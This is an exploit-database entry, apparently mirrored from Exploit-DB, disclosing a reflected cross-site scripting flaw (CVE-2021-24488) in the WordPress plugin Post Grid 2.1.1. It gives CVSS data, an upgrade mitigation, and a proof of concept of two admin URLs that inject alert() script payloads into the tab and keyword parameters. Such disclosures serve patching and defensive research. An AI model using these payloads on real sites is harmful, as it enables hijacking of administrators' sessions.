header-logo
Suggest Exploit
vendor:
Post Grid
by:
0xB9
6.1
CVSS
MEDIUM
Cross Site Scripting (XSS)
79
CWE
Product Name: Post Grid
Affected Version From: 2.1.2001
Affected Version To: 2.1.2001
Patch Exists: YES
Related CWE: CVE-2021-24488
CPE: 2.3:a:wordpress:post_grid:2.1.1
Metasploit:
Other Scripts:
Tags: authenticated,wpscan,cve,cve2021,xss,wp,wordpress,wp-plugin
CVSS Metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Nuclei References: https://wpscan.com/vulnerability/1fc0aace-ba85-4939-9007-d150960add4a, https://nvd.nist.gov/vuln/detail/CVE-2021-24488
Nuclei Metadata: {'max-request': 2, 'framework': 'wordpress', 'vendor': 'pickplugins', 'product': 'post_grid'}
Platforms Tested: Windows 10
2021

WordPress Plugin Post Grid 2.1.1 – Cross Site Scripting (XSS)

This plugin creates a post grid from any post types. The slider import search feature and tab parameter via plugin settings are vulnerable to reflected cross-site scripting.

Mitigation:

Upgrade to version 2.1.2 or later.
Source

Exploit-DB raw data:

# Exploit Title: WordPress Plugin Post Grid 2.1.1 - Cross Site Scripting (XSS)
# Date: 3/16/2021
# Author: 0xB9
# Software Link: https://wordpress.org/plugins/post-grid/
# Version: 2.1.1
# Tested on: Windows 10
# CVE: CVE-2021-24488

1. Description:
This plugin creates a post grid from any post types. The slider import search feature and tab parameter via plugin settings are vulnerable to reflected cross-site scripting.

2. Proof of Concept:
wp-admin/edit.php?post_type=post_grid&page=post-grid-settings&tab="><script>alert(1)</script>
wp-admin/edit.php?post_type=post_grid&page=import_layouts&keyword="onmouseover=alert(1)//

Navigation

Suggest Exploit

Services By CQR